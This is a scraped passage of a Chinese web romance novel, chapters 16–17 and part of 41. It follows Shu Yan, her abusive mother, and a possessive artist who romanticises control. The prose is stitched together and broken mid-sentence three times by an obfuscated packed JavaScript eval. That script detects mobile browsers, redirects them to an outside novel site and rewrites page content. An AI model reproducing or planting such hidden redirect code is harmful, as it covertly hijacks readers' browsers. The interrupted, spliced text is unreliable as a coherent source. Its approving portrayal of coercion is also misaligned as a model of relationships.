“你们在干什么?”舒芸看到岑家的那个和舒颜在一起,心都快吓出来了,但还是强装镇定。 舒颜听见舒芸的声音,将目光对上岑尽白,带点乞求意味。 “我妈准备了礼物,让我给拿过来。” 舒芸自然看到了摆在床上的礼服和高跟鞋,高奢品,耀眼夺目,是个女人都会喜欢。 “这太贵重了,颜颜,”她看了一眼舒颜,又有些惶恐地对岑尽白说,“我们不能收。” 岑尽白脸上挂着温润的笑意:“收下吧,是我妈的心意,她每年过生日,都会给在家的人一份礼物,芸姨你也有的,只是舒颜年纪要小一些,我妈觉得她会喜欢这些,正好明天的晚宴,可以穿着去凑凑热闹。” 话落地,不收就是矫情,不给岑家面子。 舒颜母子不敢的。 舒芸牵唇笑笑,只好谢过。 直到岑尽白走出这间充满梅花香气的房间,都未再看舒颜一眼。 梅花香气幽幽,所谓淡雅,却在片刻间将整个屋子的气味盖去,此后许久,这里都将是它释放气息的领地。 舒颜的鼻息间被梅花香占领,心下却不能平静。差一点,如果不是岑尽白主动解释,就差一点。 “颜颜,这礼服……” 舒颜打断,“妈,我很喜欢秋阿姨送的礼物,她送我们礼物,是重视我们。” 舒芸看着女儿白净的面庞,将腹中话语收回。 收下不穿?想起岑尽白刚刚那个暗示的表情,舒颜不敢不穿。 * 真到了生日宴这天,岑家的大门敞开,如火的红毯铺得长长的,来的男人西装革履,女人美艳,交谈间风声阵阵,这个总那个总的乱叫,叫完哈哈大笑,听不出是调侃还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15005026|161169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是恭维。 舒颜只是站在三楼看了那么一眼,她像是误入童话故事的灰姑娘,即便穿着融入了大家,但是内里仍旧怯懦,美丽得有些脆弱不堪,像是一朵不敢绽放的花骨朵。 只是那一眼,她便在人群中看见了岑尽白,她从来没有见过他穿西装,于是那一眼,停留得有些久。 额前的碎发被他梳起,露出饱满的额头,更加凸显了她的鼻梁高度,眉眼深邃,紫色的西装将他衬得更像是神秘西方的贵族少爷,气场沉稳强大。 而他对面,是穿着明亮黄裙的方芝,岑尽白正在低着头,认真听她讲话。 男的冷俊,女的娇俏。 就算是穿上了这条裙子,舒颜仍旧要呆在这间屋子里,外面不是她的世界,她的世界是属于她自己的,是寂静无声的。 而她没想到,将自己拽出房间的,居然是那位穿着着黄裙子的美艳少女。 她敲了舒颜的门,舒颜开门迎来了她的打量。 方芝的眼中闪过惊艳,继而是有些嫉妒,然后有些酸酸地说:“你打扮起来,也不是很土嘛。” 舒颜当这个大小姐在夸她,“谢谢。” “你在干嘛?”方芝探头向里看去,看到舒颜的桌子上全是书,插好的梅花倒是养眼。 方芝鄙夷道:“你穿这么好看,然后搁这学习?你装刻苦还是博眼球?” “?” “不是,你别是学习学傻了。” “不会的。”舒颜觉得自己很清醒。 方芝忽然拉过舒颜的手,将她拉出那间充斥着梅花气息的房间,舒颜的肺部瞬间涌上新鲜气息,猝不及防地呼吸加快。 方芝回头看着愣愣的舒颜,灿烂一笑:“哈哈,楼下更好玩,带你去。” 舒颜只好在凌乱的步伐中调整,因为她还不太适应高跟鞋,她让方芝走慢点,方芝会回头嫌弃她麻烦,然后嘴她几句,放慢了脚步。 所经过的地方会有人跟她们打招呼,他们似乎都认识方芝,甚至还会宠溺地问她父母在哪,方芝回:“哦,他们应该在和岑伯父和伯母聊天吧,我也没注意呢。” “这样,你拉着的小美女是哪家的啊,怎么没见过?” 方芝回头看着茫然的舒颜,思考会儿笑答:“她是我的朋友。” 舒颜抬头望向方芝,不懂她是不是在开玩笑。 方芝拉着她,一直在走,食物的香气,酒的醇香,高级香水的混杂,陌生目光的打量,这些都让舒颜有些不适应。 但她还是跟着方芝走了,方芝在这样的场所,轻盈地像一只蝴蝶。 舒颜被带到了草坪,这里人少,大家举着酒杯洽谈,钢琴声悠扬婉转。 “爸妈,伯父伯母,你们在聊什么呢?” 方芝和舒颜,在两对穿着华丽的中年男女面前停下,先是铮亮的皮鞋、优雅的高跟,抬眼看到岑家夫妻。 舒颜转头,撞上了一张熟悉又陌生的脸。 “没想到芝芝居然和颜颜认识,她们年龄相近,玩得好也正常。”旁边的秋月苓挽着岑方启的手这样说。 舒颜已经忘记说话和打招呼了,因为久别重逢……不是的…… “舒颜,你攥疼我了!”舒颜的手被方芝甩开。 “对不起……”舒颜被甩得一踉跄立马道歉。 “老公,你怎么了?”路莎莎柔美的面庞上浮现对身旁丈夫方之清的关心。 舒颜想逃,她本来应该转身就走的,这时,方芝重新将她的手抓住,亲密无间,女孩的手心柔软地包裹住她的手。 “我觉得,尽白哥对你好好哦~”方芝的声音不大不小,像是无意间的吐露感叹,但是在场的人都能听到。 不远处,岑尽白循着那抹熟悉的白裙,踏步走来。 16. 第 16 章 方芝这话一出,岑方启和方家夫妻的目光,同时投到舒颜身上,让舒颜觉得身上有千斤重。 秋月苓这时开口,边说边将舒颜拉到自己身边,“颜颜,过来让我看看,”方芝被迫放手,“好看,我就说这件很适合你。”秋月苓的目光中透露出满意。 舒颜感觉自己的身上压着千斤重。 “这位是?”方之清觉得,这个女孩很熟悉,莫名让他心慌。 “舒颜。”岑尽白的声音也响起,他走近,先是礼貌地和人打了招呼,然后站在了舒颜身边。 “尽白哥!”方芝刚刚去三楼就是为了找岑尽白,尽管她问他什么他都会礼貌回答,但是岑尽白对她保持着距离,他匆匆结束两人之间的交谈,然后方芝就找不到他了,她在三楼也没找到,所以她“绑架”了舒颜。 就像是此时,他拒人于千里之外,却独独站在舒颜身边,方芝的神色落寞下来,本想走近的步伐停下。 “你姓舒?”方之清大呼,险些忘记了自己还是个有教养的人,幸好身边的妻子在用力地抓着自己的臂弯,他侧头看向妻子路莎莎。 舒颜低着头,根本不应方之清的话。 “怎么了?方总认识?”岑方启问。 这个女孩叫舒颜?岑方启对她有印象,但是不多,而在刚才,方家的千金说自己儿子对她很好,他不太信,但是儿子不避人地站到这个女孩身旁,他有些信了。 “不认识,老公你见过人家小姑娘吗?我都没见过。”路莎莎替走神的方之清答到。 而方之清,似乎陷入了某种情绪或者回忆重无法出来,少见地在这种场合失态。 舒颜在这个时候抬起头,目光正视着方之清,语速缓慢答道:“是的,我们没有见过。” 而方之清只是望着她,眼神复杂,痛苦居多。 “爸妈,方伯父,方伯母,你们聊,我们先走了。”岑尽白说,然后拉着舒颜的手腕,将人在众目睽睽之下拉走。 舒颜根本没反应过来,就这样被拉走。 方芝气脸色发青,路莎莎在担心自己的丈夫方之清,岑方启则是看着自己儿子的行动不语,眼神深不见底,秋月苓也陷入沉默。因为动静不大,有的人注意到,有的人并没有往这边看一眼。 好久,方之清找回自己颤抖的声音,问:“她的妈妈叫什么名字?” * 直到岑尽白的的体温从掌心传来,舒颜才意识到他的这一举动,分明是把她往火坑里推。 “放手——”舒颜想甩开岑尽白的手,却没成功。 他回头看她用力甩开他手的眼神过于可怕,舒颜莫名心悸。 然后忽然在一瞬间,岑尽白的手松开,文雅地笑着,“抱歉,看出你不喜欢呆在那里,有些着急了。” 舒颜瞪着他,眼里全是不满。 岑尽白将视线定格在她正在揉着的有些泛红的手腕,只是笑,显得温柔有礼。 “没事。” 舒颜不跟他计较,看到身边人都在往这边看,心里有些慌,他们现在离方芝那几个人很近。 “我先走了,你别跟着我。” 舒颜说完,根本不敢等岑尽白的回答,没看任何人,目不斜视地走了。 她努力维持脚下的平稳,想让自己看上去没有情绪波动,她都不敢想,若是舒芸在这里,她会作何反应,她真的不敢想…… 舒颜本想快点回到三楼,把自己关到房间里,把刚刚的一切忘记,当作什么都没有发生。 如果她没在拐角处看见舒芸的话。 “妈……” 舒芸面色平静,说出的话也没有情绪:“颜颜,跟我回房间。” …… “你刚刚在干什么?告诉我!舒颜,你怎么那么不要脸!你为什么要和岑家的那个厮混!” “你是什么人?我让你住在这里是为了让你和男人谈恋爱的吗?你就那么想男人吗?我这么多年,含辛茹苦,舍不得吃舍不得喝,我究竟是为了谁?舒颜,你这个白眼狼!” “看见了吗?你的亲生父亲,方之清,他还记得你吗?他早就忘了你了,忘得干干净净!他有了新的老婆孩子,你还奢望她会来看我们母子一眼吗?你站到他的宝贝女儿身边,你觉不觉得自己像个小丑?” “……” 舒芸面目狰狞,对舒颜说出的话几乎像是在吼,她站在那里,舒颜坐在床上低着头。 汗水和泪水都在她蜡黄的脸上交织,舒芸身上的侍从服装,还沾染上许多油渍和其他污秽,像是被人泼上去的一样。 是的,舒颜应该心疼自己的妈妈,心疼她这么大年纪还在为自己操劳,这么大年纪还要来干这样伺候人的工作。 “我从来没有让你这样做,我从来不需要你这样的付出。”舒颜麻木的声音响起。 舒芸早已失去理智,再重新看到那个男人之后,托盘落地,所有酒水溅到自己身上,她毫无知觉。 那个男人,那个懦弱、自私、窝囊的男人,他毁了自己,他居然还有脸出现?他居然还能站到自己女儿面前,他做出那样的表情是怎么回事?方之清他在装什么! “不行,颜颜……不行……你不能和岑家那个在一起……不能……”舒芸开始在房间打转,一会儿忧愁,一会儿惊恐,表情表幻莫测,她全身都在发抖。 舒颜闭上眼睛,试图不去看这样的母亲。 “妈,我跟岑尽白也没有在谈恋爱,你冷静点。” 但是此时的舒芸已经听不下去什么了,她在屋内急得团团转,一边哭一边说:“不行,妈得想个办法,妈得让你有一个环境好好学习……” “我要辞职……对,颜颜,”她挂着泪水的脸庞转过来,笑着看向舒颜,“妈辞职,妈再换一个工作,这样才能让你远离岑家的那个,他们吃人不吐骨头的……远离岑家,远离方家……” “妈……”几滴清泪划过舒颜的脸庞,滴在了那件美丽的白色礼服上。 “够了……” 舒芸迷路的人找到了方向一样,她眼睛里有火光在燃烧,“对,我们走就没事了,颜颜,妈带你走,妈给你收拾东西!” 衣柜中的衣服被舒芸从衣架上扯下来,“妈立马收拾,颜颜你别怕……” 衣服被粗暴扯下,甩在地上、床上,甚至是舒颜的身上、脸上,没一会儿柜子里的衣服被清空,舒芸开始收拾书桌、床头柜,想要立刻将舒颜的衣服打包。 在打开床头柜的那一瞬间,舒芸唇瓣惨白,下颚肌肉紧缩颤抖,将几个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15012516|161169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小盒子拿出来,看清上面的字之后,将那些甩到舒颜脸上。 避.孕.套盒子擦过舒颜的脸,留下刺痛和红痕,舒颜被击得一侧脸。 有一盒是前天晚上拆开的,刚用三个,还剩下的几个,散落在地上。 舒芸打开床头柜的时候,她没去拦。 “舒颜!你——” “你干了什么,你和岑家的那个背着我上.床?你还有没有自尊?”舒芸嘶哑喊出,眼里写满不可置信。 一直乖巧听她话的女儿,怎么会突然之间变成这样? “你想妈死吗?”舒芸呜哇哭了出来,盘好的头发被她揉得凌乱,用手指着舒颜开始说一些不入耳的疯言疯语。 舒芸已经疯了,舒颜也快疯了。 梅花香融入空气中的分子,散发糜烂的香味,快要让人窒息。 舒颜的房门被急速推开,来人带来一阵冷风。 岑尽白闯进来,室内一片狼藉一览无余,舒颜坐在乱糟糟的床上,而舒芸因为他的推门而入停止了口中的谩骂,可是他明明听见,那些不堪入耳的话。不敢想象,那是一个妈妈对自己亲生女儿说得话。 “滚!我的颜颜都被你教坏了,你就是男狐狸精,她什么都不懂,以前多乖啊!一定是你!你知不知道这是强——”后一个字没有说出口就被打断。 “芸姨,这是我家。”岑尽白皱着眉打断朝他恶语相向的舒芸,拉起床上的舒颜,将她拉到自己身后。 舒芸像是被这句话堵住,但随即继续骂开。 “你别碰她!” 舒芸像是受到了什么刺激,向岑尽白身后抢人,情急之下抓住了舒颜的手腕。 岑尽白也伸手捉住了舒颜的手腕上方,沉声道:“松手。” 舒颜像是一个被人抢占的布偶娃娃,两边拉扯,谁也不让谁。 “颜颜,你知道你在干什么吗?”舒芸喊叫,声嘶力竭。 舒颜手腕疼,泛红的眼角沁出眼泪,她不是要跟着岑尽白走,也不想在这里陪着疯癫的舒芸。 “颜颜,你不能跟他走……”苍老的母亲流下的眼泪,是孝顺子女心中的刺,曾经舒颜因为母亲留下的泪水心疼,如今她怕极了母亲的泪水。 岑尽白低头看向舒颜,她的眼里晶莹剔透,盈着水光,他之前最爱她这时的神情,看时只觉得心脏酥麻,直痛身体脉络,现在看,只觉得心脏一阵抽痛,他不懂这种情绪从何而来,因为她总能挑起他陌生的情绪。 大手松开舒颜的手腕,以迅疾的速度点了舒芸手臂上的一个穴道,舒芸的手从舒颜手腕上脱落,只留下一圈醒目的红痕。 岑尽白扫了一眼,避开那处,指尖钻进舒颜的指缝,拉着她走。 舒颜不知在想什么,事情已经这样,她早已不在意别人怎么看。 她谁都不在乎。 “舒颜——你要是跟他走,就再也别叫我妈!” 舒芸身形一顿,岑尽白侧头看去,还没看到什么,舒颜淡淡说:“走吧。” 他牵着她走下楼,众人眼光汇聚在他们相牵的手上,舒颜只好握紧岑尽白的手,仿佛这样,她就能获得勇气一样。 舒芸跌跌撞撞跑下楼,想要阻拦舒颜,却在看见方之清的脸后,停住了脚步。 17. 第 17 章 该如何去说方之清和舒芸的故事呢?其实这些,舒颜快要不记得了。 从她记事起,不,应该是从她特别特别小的时候,她就能感受到,母亲过得并不好,而自己,也不受奶奶的喜欢。 印象中的奶奶,会拿着一串佛珠,那佛珠又黑又亮,会客时她的手像是钟表一样准,一秒一颗地循环盘着,看起来慈眉善目的,像个老神仙一样,说出来的话也是自带分量。 但是,那个珠子打人真的特别特别疼。每次舒颜都要躲起来偷偷哭好久,然后用衣服小心遮盖好。 不能被妈妈发现,妈妈会和奶奶吵架的。 那时候她觉得奶奶坏死了,对她和妈妈都不好,但是爸爸对她说:“我是你奶奶生的,没有我,就没有你,没有你奶奶,也就没有你。” 小小的舒颜试着理解这样的逻辑关系,然后,告诉自己:不要讨厌奶奶,你那么喜欢妈妈,爸爸也很喜欢奶奶,不能讨厌,爸爸说要孝顺奶奶。 奶奶经常厌恶地看着她,那时候她一点都不慈眉善目,像一个老巫婆。 “你妈从臭烘烘的农村出来,初中都没上完的粗鄙之人,生出来的你这个小丫头片子也上不得台面!” 她不知道爸爸爱不爱妈妈,但是舒颜记得,妈妈经常和爸爸吵架,但是爸爸就像是一尊大佛一样,无论妈妈抱怨什么,他只是坐在那里,除了沉默还是沉默。 后来,妈妈肚子里的弟弟没有了,她再也没有见过爸爸和奶奶了,因为妈妈带着她离开了。 舒颜一直都知道,妈妈是爱自己的,但是自从离开爸爸和奶奶之后,妈妈的爱就像是变质了的牛奶,之前是甜丝丝的,现在就是酸中带着让她想吐的。 她又告诉自己:没事的,没事的,妈妈是爱自己的,妈妈是爱自己的…… 可是,妈妈真的爱自己吗? 她被妈妈关在房间里,隔着窗户听见别的小朋友在玩耍,自己面对着课外作业,眼泪啪一下就出来了。 她找妈妈哭诉:“你一点都不爱我,我要找爸爸。” 妈妈的脸色瞬间就变了,那是舒颜第一次见到妈妈这样恐怖的表情,妈妈挥过来巴掌,还没打到她的脸上,她就吓得倒在地上。 巴掌落了空,妈妈就哭了,她被妈妈抱着,泪水顺着妈妈的脸,滴在她的脖子上,她被那泪水烫得一激灵。 “妈妈只有你了,你奶奶容不下我们,你要给妈妈争口气。” 争口气争口气,这三个字就像是魔咒一样,围绕她好多好多年。 直到大学,她以为自己能摆脱,但是失去保研名额,妈妈就像是得了失心疯一样,紧接着第一次考研失败,妈妈用生命威胁她,让她进行第二次考研。 …… 舒颜很感谢岑尽白将她带出那个是非之地,但是。 “好了,就到这里吧,我们的关系彻底结束。”舒颜甩开岑尽白的手,用冷漠的声音逼他走。 岑尽白微眯着眼睛盯着她,“彻底结束?两个人的事情,你一个人说的算吗?” “在我这里,就是结束。”舒颜身心俱疲,她没心情再跟岑尽白扯东扯西,玩什么文字游戏。 岑尽白听完之后还笑着,看不出勉强,摸了摸舒颜的头,“情绪上头的话,言不由心,我怎么信呢?” 然后将身上的外套脱掉,披在舒颜身上:“这里没有暖气,会很冷,先披着吧。” 紧接着抬起她的手腕,看着那一圈红痕,仿佛很心疼的样子:“疼吗?” 舒颜像看一个神经病一样看他,将自己的手缩回,看了眼他身上只穿着单薄的夹克衬衫,疲惫中夹杂烦躁。 “别跟着我。”舒颜真的不想应付他。 刚刚碰过她的手指蜷缩着,仿佛上面还有她残留的温度,岑尽白笑容有些僵硬,像是一个假面。 这是她今天第二次对他说这四个字,真的很讨厌。 他的僵硬表情被舒颜尽收眼底,她好像意识到了一件事,或许很早她就感受到,岑尽白,也许并不像他展现给她的那样,温柔体贴,谦逊有礼,他在她面前,好像戴着一个面具,而面具之下到底是怎样的一副面孔,她保守地想在他摘下面具之前,从他身边离开。 舒颜将外套脱下,扔给岑尽白,迎面的冷风吹起了她身上的鸡皮疙瘩,她转身离开。 上天不会偏向她,几近零下的寒冬,她穿着白色的抹胸裙,漂亮归漂亮,但实在冻人。 岑家的别墅在山顶,几乎不会有人来到这里,她看着空荡的下坡路,却觉得自己走进了死胡同里。 这一刻,舒颜很想哭。 带有温度的外套再次包裹住她,她睫毛微颤,这次她没拒绝。 看似给人披衣服,却将人整个拥在怀里。 岑尽白长长地叹了口气,像是无奈,又像是感慨:“你看你,冻得这样可怜,还想走到哪里去。” 他将她带到一间海边的房子,传统的欧式风格,孤独地伫立在海边聆听着海浪的声音。 舒颜被带到里面的一间大房间,巨大的落地窗外,是一望无际的大海。 她与他用着同一种沐浴露,身上是一样的香味。 站在落地窗前,他从身后拥着她,深深埋在她颈侧,用力嗅闻她的气息,明明是一样的香味,他却表现得那么痴迷,好像她身上有让他上瘾的毒。 海水的颜色逐渐由浅蓝色变成深蓝色,她回头看他,分不清那泛着光的深蓝色是海水的颜色还是他的眼眸,她几乎要溺毙。 “舒颜……舒颜……” 她要死了,但每次她觉得自己快要死的时候,他就会重新让她呼吸,而她廉价的求生欲,迫使她重新进气。 “你求我,舒颜,你求我我就给你。” 她偏不。 他捏着她的下巴强迫她转头,却看不到自己想看的,听不到自己想听的。 背后与身前,是冰火两重天,一只大手攥着一只小手,用热气在玻璃窗上留下交替的印记。 印记逐渐模糊、然后消失、然后重现。 …… 舒颜从梦中惊醒,睁开眼就对上一双含/着残留情/欲的蓝色眼眸,自己枕在他的怀里。 正常人应该会被吓一跳,但舒颜经历过多次,已经习惯了。 “几点了?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15020135|161169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>岑尽白用另一只手拿起手机看了一眼,“凌晨三点。” 舒颜嗯了一声,往另一侧挪去,离开他的臂弯,再次睡前,小声说:“可以麻烦你帮我准备一套衣服吗?谢谢了。” 岑尽白望着她的背影,迟迟没有收回自己的手臂。 模糊间,舒颜听见一阵铃声,但很快就没了,身边的人似乎下了床,但是这并不关她的事。 …… 男人的背影隐匿在漆黑的夜中,他站立在这栋楼的最高层,听着海浪拍打的声音,风将他的头发吹起,露出一张靡丽到极致的脸。 “Dylan,你什么时候回来?”电话那头的声音有些埋怨。 岑尽白的手拨弄着栏杆处无意长出的小草,懒懒地回答:“不知道。” 电话那边的人着急了:“哎,不是,Dylan,你上个月跟我说什么,你找到灵感了,很快就会回来,你现在跟我说,不知道?你知不知道Aaron在这边快被气疯了?那个展览,到底什么时候才能办?” 食指拨弄着小草脆弱的叶子,只需要一根手指,小草就不堪重负了。 他最讨厌不堪一击的脆弱生命。 “没了我,就不能办了吗?”相对于对面的人,岑尽白的语气太过闲散,像是在说一件稀松平常的事情。 小草在他指中摇摇晃晃,可怜极了,最终他还是将手收回来。 绿油油的,还怪可爱,没那么碍眼。 那边已经开始了鬼哭狼嚎:“没了你我们怎么办?!这个展览是用你的名字进行宣传的,你的风格太过独特,一眼就能看出来。不行,求求你了,上帝啊,你快回来吧!” 岑尽白将手机挪远,“你好吵。” 幸好他走到顶层,不然该吵醒她了。 “知道了,已经在画了,不过我并不打算现在回去,我的灵感还在这里,如果你们还想要我的画的话,就少打扰我。”岑尽白的声音很轻,透露出一点磁性。 “挂了。” “等等!” 岑尽白皱着眉,终于有些不耐烦,“嗯?” “岑大画家,你不对劲,”周事和肯定地说,“你今天说话怎么那么温柔,我耳朵快要听怀孕了,你是不是——” “滚。”岑尽白果断挂断电话。 那边的周事和听完这句滚,总算是有些舒坦了,“这才正常嘛。” 岑尽白望着夜晚里平静的海面,站在那一会儿,回到了房间。 舒颜仍旧保持着她离开的姿势,岑尽白上/床后,轻轻将她人翻过来面对她,凝视她片刻,让她枕到自己手臂上,埋在她胸/前睡了过去。 早上醒来的舒颜被吓了一跳,但是胸/前扎人的触感告诉她,他们就是以一种极其羞.耻的姿势睡在一起。 她一动,岑尽白就醒了。 他的头发有些凌乱,但这并不影响他的好看,岑尽白从来不是清爽那一卦的,相反,他在某些时刻,比女孩还漂亮。 比如现在。 最惹眼的是他的耳钉处,蓝色的钻石折射出彩虹般的光辉,下面的皮肤肿起,充血一般的红,被蹂.躏狠了的样子。 40-50 第41章 与她融为一体 齐刚听完这句话又给了岑尽白一拳,嘴角瞬间出血。 齐刚问他:“你**还是不是人?” 舒颜不知道为什么这个时候岑尽白还能笑得出来,但是她对岑尽白的印象一次又一次地被更改,一次又一次地被刷新。 在舒颜的眼中,大部分都是齐刚在挥拳,而岑尽白,一直处于防御状态,有时候防御不当,就会被齐刚打。 齐刚是打过拳的人,知道哪里打人最疼,况且他是真的看不惯岑尽白,不把人打残打死,也要打到他疼得龇牙咧嘴。 但是岑尽白并不会龇牙咧嘴,被打时还在笑,这让齐刚更加恼火,下手也会更重。 而舒颜也没想到,岑尽白竟然会不还手,俊俏的脸上被打得青一块紫一块,与她对视时,笑容仍旧得体。 舒颜被这样的岑尽白看得后退几步,别过眼不想再看。 她的反应落在岑尽白眼中,他垂眸,作着防御姿态,没人注意到,他的表情有多阴冷。 齐刚知道岑尽白刚刚都在作防御,但还是被他钻了空子打了几拳,但是他渐渐发现,自己打不到他了,每一次出拳踢腿,都被他严密地抵挡住。 而他也渐渐被耗得处于下势,他再一次的出拳,被人握住,对上岑尽白的脸,他冲他森冷地笑了一下,紧接着他就被他一脚按倒在地上,还没来得及看清他的姿势,眼睛挨了一拳。 舒颜还是过来了,她喊了一声岑尽白的名字,想要制止他的再一次出拳,但是那一拳还是打在了齐刚的另一只眼睛上。 舒颜蹲下去,双手挡在齐刚身前,不想让齐刚再挨打。 岑尽白眼尾发红,笑意不再,声音低沉到吓人:“你心疼他?” 舒颜摇摇头,只说:“别再打了。” 岑尽白看着她半晌,眼神难辨,起了身。 舒颜扶着齐刚站了起来。 “那刚刚到底是谁再被打,颜颜,你看见了吗?”岑尽白这句话,像是在控诉。 像是看不惯,岑尽白将舒颜拉到自己身边,撞到他的胸口处。 铺面而来的洁净气息让舒颜想逃离,但是岑尽白抓住她的手,根本不让。 齐刚也当仁不让,抓住舒颜的另一只手,将她往自己这边扯。 “你放开她!” 岑尽白紧盯着齐刚的另一只手,“松开她!” “齐先生,松开!” 对上岑尽白沉沉的目光,齐刚未露出丝毫怯懦,两个因为刚刚打架形容狼狈的男人,在这一刻还在对峙。 舒颜觉得自己快被扯成两半了,两方的力气越来越大,手上的疼痛让她感到无力又麻木。 “你们两个都松开。” 但是没人听她的。 察觉舒颜会因为两个人用力会疼,齐刚率先松了手,舒颜由于惯性,到了岑尽白的怀里,她想挣脱,却挣脱不掉。 岑尽白毫不在意齐刚在一旁看着,将她紧紧抱在自己怀里,埋首在她的颈窝,呼吸沉重,“颜颜,你厉害。” 舒颜浑身僵住。 齐刚松了手就后悔,他看着他们紧紧相拥,脸色阴沉到可怕,骂岑尽白不要脸。 但是像是找到归属的岑尽白听不见外面的任何声音,只能拼命感受着怀里人的确实存在。 …… 终于用金钱做好交涉的Zero回来,看见这一幕,挠了挠头,回头对一群大哥说:“要不,我们再回去聊聊天?” 一群人自然也看见了那个蓝眼睛的外国佬和他们认作大嫂的人紧紧抱作一团,而他们的刚哥在一旁看着。 “那个外国佬要抢我们大嫂!” “刚哥好不容易喜欢上一个人,不能被这个外国佬抢了去!” “对!这人要开车撞我们,原来是想抢大嫂!” “我们过去,帮大哥!” “……” 他们越过Zero势单力薄的身体。 Zero跟在他们身后,叫道:“别冲动,别冲动!魔鬼是冲动!” …… 舒颜和岑尽白同时听到有一大群人离他们的方向越来越近,岑尽白微微放开她,她直接趁着这个间隙将他推开。 几个人对上岑尽白一个人,筑起一道人墙,将舒颜和岑尽白隔开。 即便如此,岑尽白仍旧没有冷脸,从容不迫站在那里,像是一座永远都不会崩塌的雪山。 齐刚并没有阻止他们的行为,反而在看到岑尽白和舒颜分开后,刚刚堵在胸口的闷气,顷刻间散开不少。 他走到舒颜面前,想要安慰或者询问,但是他不知道要说些什么,只能看着她,“你没事吧?” 舒颜刚刚被岑尽白抱得快要喘不过气,现下胸口有些疼,但她并不想对齐刚说:“没事。” 她抬眼看他,满眼抱歉:“给你添麻烦了,岑尽白可能是因为——” “别说了。”齐刚忽然打断她,“舒颜,他就是一个疯狗,疯狗咬人不需要任何原因。” 舒颜低下头不再说话。 Zero跑了半天终于追上这些人,站在岑尽白身边,看着面色不善的一群大哥,又瞄一眼岑尽白,发现他根本没在怕的,自己也只好假装挺直了腰杆。 “好兄弟,刚刚不是都商量好了吗?我们给钱赔偿,就放过我们?” 相较于Zero近乎讨好的态度,岑尽白倒显得理直气壮许多,再加上他那张美艳又脆弱的脸,仿佛他是一个要被群攻的对象。 几人看不惯岑尽白这样,怒得手痒,但刚刚还拿过别人的钱,暂时不好动手,只能动嘴。 “外国佬,他听得懂中文吗?”他们知道Zero会中文,这个“他”,问得是岑尽白。 不用Zero回答,岑尽白含着笑意回答,“听得懂的。” 他中文的咬字很是标准,比Zero好多了。 但是他的笑让人毛骨悚然。 几人面面相觑,那就说明,不久前他们拍他车时说的骂人的话,岑尽白都能听懂。 “狗。日。的,你刚刚为什么抱着舒小姐?知不知道男女授受不亲!” 岑尽白扫了一眼说话的人,笑容不变:“她是我的。” , 那群人看上去怒不可竭,一片骂声,Zero看见岑尽白逐渐深沉的眼神,跳了出来。 他不再给他们好脸色:“别骂了,真让我老师生气了,你们可能会后悔。” 后又假笑着补一句,“你们中国不是有句话叫:以和为贵?” Zero不是岑尽白,他还算是一个讲道理有道德底线的人,刚刚差点撞到他们,他在副驾驶怎么阻止都没用,幸而有惊无险,他觉得抱歉,愿意给他们道歉和金钱,但若是再骂他们,他也要生气了。 在国外,他也不是一个好招惹的人,只是看着比岑尽白好相与罢了。 一直看着比较怂的外国小孩突然开始警告他们,他们张了张嘴,又真不敢再说什么肮脏的话。 齐刚带来的那些人清楚面前的俩人非富即贵,不过他们刚刚差点被撞死,有理在先,再加上那个黄色卷毛男孩的态度极好,以为他们算好说话的人。 现在看来不是。 齐刚在后面叫他们回去,他们犹豫半晌,人墙总算散开。 没了阻挡,岑尽白再次对上舒颜的视线,可她却躲开,不想看她。 明明她刚刚还在自己怀里。 齐刚回头示意身后人不要轻举妄动,看着岑尽白说:“既然你们作了赔偿,我们各退一步,都不追究。” 岑尽白看都没看他一眼,目光紧盯着舒颜。 “舒颜,你过来,我就不计较关于齐刚的事情。”岑尽白忽然这样说,声音很低沉,但所有人都能听见。 舒颜抬头望去,用复杂的眼神看向他,“你这样说,是在施舍我吗?” 那她做错了什么? 与此同时,齐刚在舒颜身旁说:“舒颜,你不要受他摆布。” 岑尽白没有回答舒颜那个问题,再重复一便刚刚的话,像是给犯人最后一次认错的机会。 他在睥睨所有人,好像根本没有把任何人放在眼里,与生俱来的上位者姿态,让舒颜觉得无力。 她站在他的对立面,他的眼神锁定她,告诉她,她根本逃不掉,无论她如何挣扎。 她忽然转身,没有选择任何人,独自一人面对前方没有路灯的黑暗。 “舒颜!”岑尽白又喊了一遍她的名字,带着克制不住的颤抖。 那个方向,齐刚等人也要走。 在所有人看来,舒颜的转身,就像是她选择了某一方。 齐刚最后看了岑尽白一眼,让他带来的兄弟继续推车,然后追着舒颜那个方向。 …… 水洼被搅合得一片浑浊,粉色三轮车被黑夜吞噬,车轮留下来的水迹蜿蜿蜒蜒,起点在沾上些污泥的黑色皮鞋前方。 “老师,人都走了,我们也走吧。”Zero试探说道。 岑尽白还没收回目光,一直看着前面的小巷口。 